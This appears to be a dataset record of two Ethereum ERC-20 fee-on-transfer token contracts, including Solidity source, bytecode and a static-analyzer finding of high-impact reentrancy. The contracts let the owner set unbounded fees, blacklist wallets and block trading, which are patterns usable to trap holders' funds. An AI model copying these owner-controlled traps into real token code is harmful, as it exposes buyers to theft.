address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055b578063dd62ed3e1461057b578063ea1644d5146105c1578063f2fde38b146105e157600080fd5b8063a2a957bb146104d6578063a9059cbb146104f6578063bfd7928414610516578063c3c8cd801461054657600080fd5b80638f70ccf7116100d15780638f70ccf7146104535780638f9a55c01461047357806395d89b411461048957806398a5c315146104b657600080fd5b80637d1db4a5146103f25780637f2feddc146104085780638da5cb5b1461043557600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038857806370a082311461039d578063715018a6146103bd57806374010ece146103d257600080fd5b8063313ce5671461030c57806349bd5a5e146103285780636b999053146103485780636d8aa8f81461036857600080fd5b80631694505e116101ab5780631694505e1461027a57806318160ddd146102b257806323b872dd146102d65780632fd689e3146102f657600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024a57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611963565b610601565b005b34801561020a57600080fd5b5060408051808201909152601181527020b73a349020b8329020b8329021b63ab160791b60208201525b6040516102419190611a28565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611a7d565b6106a0565b6040519015158152602001610241565b34801561028657600080fd5b5060145461029a906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102be57600080fd5b5066038d7ea4c680005b604051908152602001610241565b3480156102e257600080fd5b5061026a6102f1366004611aa9565b6106b7565b34801561030257600080fd5b506102c860185481565b34801561031857600080fd5b5060405160098152602001610241565b34801561033457600080fd5b5060155461029a906001600160a01b031681565b34801561035457600080fd5b506101fc610363366004611aea565b610720565b34801561037457600080fd5b506101fc610383366004611b17565b61076b565b34801561039457600080fd5b506101fc6107b3565b3480156103a957600080fd5b506102c86103b8366004611aea565b6107fe565b3480156103c957600080fd5b506101fc610820565b3480156103de57600080fd5b506101fc6103ed366004611b32565b610894565b3480156103fe57600080fd5b506102c860165481565b34801561041457600080fd5b506102c8610423366004611aea565b60116020526000908152604090205481565b34801561044157600080fd5b506000546001600160a01b031661029a565b34801561045f57600080fd5b506101fc61046e366004611b17565b6108c3565b34801561047f57600080fd5b506102c860175481565b34801561049557600080fd5b506040805180820190915260048152634141414360e01b6020820152610234565b3480156104c257600080fd5b506101fc6104d1366004611b32565b61090b565b3480156104e257600080fd5b506101fc6104f1366004611b4b565b61093a565b34801561050257600080fd5b5061026a610511366004611a7d565b610978565b34801561052257600080fd5b5061026a610531366004611aea565b60106020526000908152604090205460ff1681565b34801561055257600080fd5b506101fc610985565b34801561056757600080fd5b506101fc610576366004611b7d565b6109d9565b34801561058757600080fd5b506102c8610596366004611c01565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cd57600080fd5b506101fc6105dc366004611b32565b610a7a565b3480156105ed57600080fd5b506101fc6105fc366004611aea565b610aa9565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161062b90611c3a565b60405180910390fd5b60005b815181101561069c5760016010600084848151811061065857610658611c6f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069481611c9b565b915050610637565b5050565b60006106ad338484610b93565b5060015b92915050565b60006106c4848484610cb7565b610716843361071185604051806060016040528060288152602001611db5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f3565b610b93565b5060019392505050565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161062b90611c3a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107955760405162461bcd60e51b815260040161062b90611c3a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e857506013546001600160a01b0316336001600160a01b0316145b6107f157600080fd5b476107fb8161122d565b50565b6001600160a01b0381166000908152600260205260408120546106b190611267565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161062b90611c3a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108be5760405162461bcd60e51b815260040161062b90611c3a565b601655565b6000546001600160a01b031633146108ed5760405162461bcd60e51b815260040161062b90611c3a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109355760405162461bcd60e51b815260040161062b90611c3a565b601855565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161062b90611c3a565b600893909355600a91909155600955600b55565b60006106ad338484610cb7565b6012546001600160a01b0316336001600160a01b031614806109ba57506013546001600160a01b0316336001600160a01b0316145b6109c357600080fd5b60006109ce306107fe565b90506107fb816112eb565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161062b90611c3a565b60005b82811015610a74578160056000868685818110610a2557610a25611c6f565b9050602002016020810190610a3a9190611aea565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6c81611c9b565b915050610a06565b50505050565b6000546001600160a01b03163314610aa45760405162461bcd60e51b815260040161062b90611c3a565b601755565b6000546001600160a01b03163314610ad35760405162461bcd60e51b815260040161062b90611c3a565b6001600160a01b038116610b385760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062b565b6001600160a01b038216610c565760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062b565b6001600160a01b038216610d7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062b565b60008111610ddf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062b565b6000546001600160a01b03848116911614801590610e0b57506000546001600160a01b03838116911614155b156110ec57601554600160a01b900460ff16610ea4576000546001600160a01b03848116911614610ea45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062b565b601654811115610ef65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062b565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3857506001600160a01b03821660009081526010602052604090205460ff16155b610f905760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062b565b6015546001600160a01b038381169116146110155760175481610fb2846107fe565b610fbc9190611cb6565b106110155760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062b565b6000611020306107fe565b6018546016549192508210159082106110395760165491505b8080156110505750601554600160a81b900460ff16155b801561106a57506015546001600160a01b03868116911614155b801561107f5750601554600160b01b900460ff165b80156110a457506001600160a01b03851660009081526005602052604090205460ff16155b80156110c957506001600160a01b03841660009081526005602052604090205460ff16155b156110e9576110d7826112eb565b4780156110e7576110e74761122d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112e57506001600160a01b03831660009081526005602052604090205460ff165b8061116057506015546001600160a01b0385811691161480159061116057506015546001600160a01b03848116911614155b1561116d575060006111e7565b6015546001600160a01b03858116911614801561119857506014546001600160a01b03848116911614155b156111aa57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d557506014546001600160a01b03858116911614155b156111e757600a54600c55600b54600d555b610a7484848484611474565b600081848411156112175760405162461bcd60e51b815260040161062b9190611a28565b5060006112248486611cce565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069c573d6000803e3d6000fd5b60006006548211156112ce5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062b565b60006112d86114a2565b90506112e483826114c5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133357611333611c6f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138757600080fd5b505afa15801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf9190611ce5565b816001815181106113d2576113d2611c6f565b6001600160a01b0392831660209182029290920101526014546113f89130911684610b93565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611431908590600090869030904290600401611d02565b600060405180830381600087803b15801561144b57600080fd5b505af115801561145f573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148157611481611507565b61148c848484611535565b80610a7457610a74600e54600c55600f54600d55565b60008060006114af61162c565b90925090506114be82826114c5565b9250505090565b60006112e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166a565b600c541580156115175750600d54155b1561151e57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154787611698565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157990876116f5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a89086611737565b6001600160a01b0389166000908152600260205260409020556115ca81611796565b6115d484836117e0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161991815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061164682826114c5565b8210156116615750506006549266038d7ea4c6800092509050565b90939092509050565b6000818361168b5760405162461bcd60e51b815260040161062b9190611a28565b5060006112248486611d73565b60008060008060008060008060006116b58a600c54600d54611804565b92509250925060006116c56114a2565b905060008060006116d88e878787611859565b919e509c509a509598509396509194505050505091939550919395565b60006112e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f3565b6000806117448385611cb6565b9050838110156112e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062b565b60006117a06114a2565b905060006117ae83836118a9565b306000908152600260205260409020549091506117cb9082611737565b30600090815260026020526040902055505050565b6006546117ed90836116f5565b6006556007546117fd9082611737565b6007555050565b600080808061181e606461181889896118a9565b906114c5565b9050600061183160646118188a896118a9565b90506000611849826118438b866116f5565b906116f5565b9992985090965090945050505050565b600080808061186888866118a9565b9050600061187688876118a9565b9050600061188488886118a9565b905060006118968261184386866116f5565b939b939a50919850919650505050505050565b6000826118b8575060006106b1565b60006118c48385611d95565b9050826118d18583611d73565b146112e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fb57600080fd5b803561195e8161193e565b919050565b6000602080838503121561197657600080fd5b823567ffffffffffffffff8082111561198e57600080fd5b818501915085601f8301126119a257600080fd5b8135818111156119b4576119b4611928565b8060051b604051601f19603f830116810181811085821117156119d9576119d9611928565b6040529182528482019250838101850191888311156119f757600080fd5b938501935b82851015611a1c57611a0d85611953565b845293850193928501926119fc565b98975050505050505050565b600060208083528351808285015260005b81811015611a5557858101830151858201604001528201611a39565b81811115611a67576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9057600080fd5b8235611a9b8161193e565b946020939093013593505050565b600080600060608486031215611abe57600080fd5b8335611ac98161193e565b92506020840135611ad98161193e565b929592945050506040919091013590565b600060208284031215611afc57600080fd5b81356112e48161193e565b8035801515811461195e57600080fd5b600060208284031215611b2957600080fd5b6112e482611b07565b600060208284031215611b4457600080fd5b5035919050565b60008060008060808587031215611b6157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9257600080fd5b833567ffffffffffffffff80821115611baa57600080fd5b818601915086601f830112611bbe57600080fd5b813581811115611bcd57600080fd5b8760208260051b8501011115611be257600080fd5b602092830195509350611bf89186019050611b07565b90509250925092565b60008060408385031215611c1457600080fd5b8235611c1f8161193e565b91506020830135611c2f8161193e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caf57611caf611c85565b5060010190565b60008219821115611cc957611cc9611c85565b500190565b600082821015611ce057611ce0611c85565b500390565b600060208284031215611cf757600080fd5b81516112e48161193e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d525784516001600160a01b031683529383019391830191600101611d2d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daf57611daf611c85565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202c195ae72afa3ec08d5ebf53b7c83d164269646c1ee5ded04e653069505f498564736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,196
0x618279c51eec6bcfe46161a040ee3b9c60619170
/** *Submitted for verification at Etherscan.io on 2021-12-01 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract LEGIONCAPITAL is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Legion Capital"; string private constant _symbol = "LEGION"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 0; //Sell Fee uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 0; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xa6fc46fa154CAC08901D2D533a4e3d1df29620b0); address payable private _marketingAddress = payable(0xa6fc46fa154CAC08901D2D533a4e3d1df29620b0); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; //100% wiill change to 2% after transfer uint256 public _maxWalletSize = 500000000 * 10**9; //5 uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.01 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
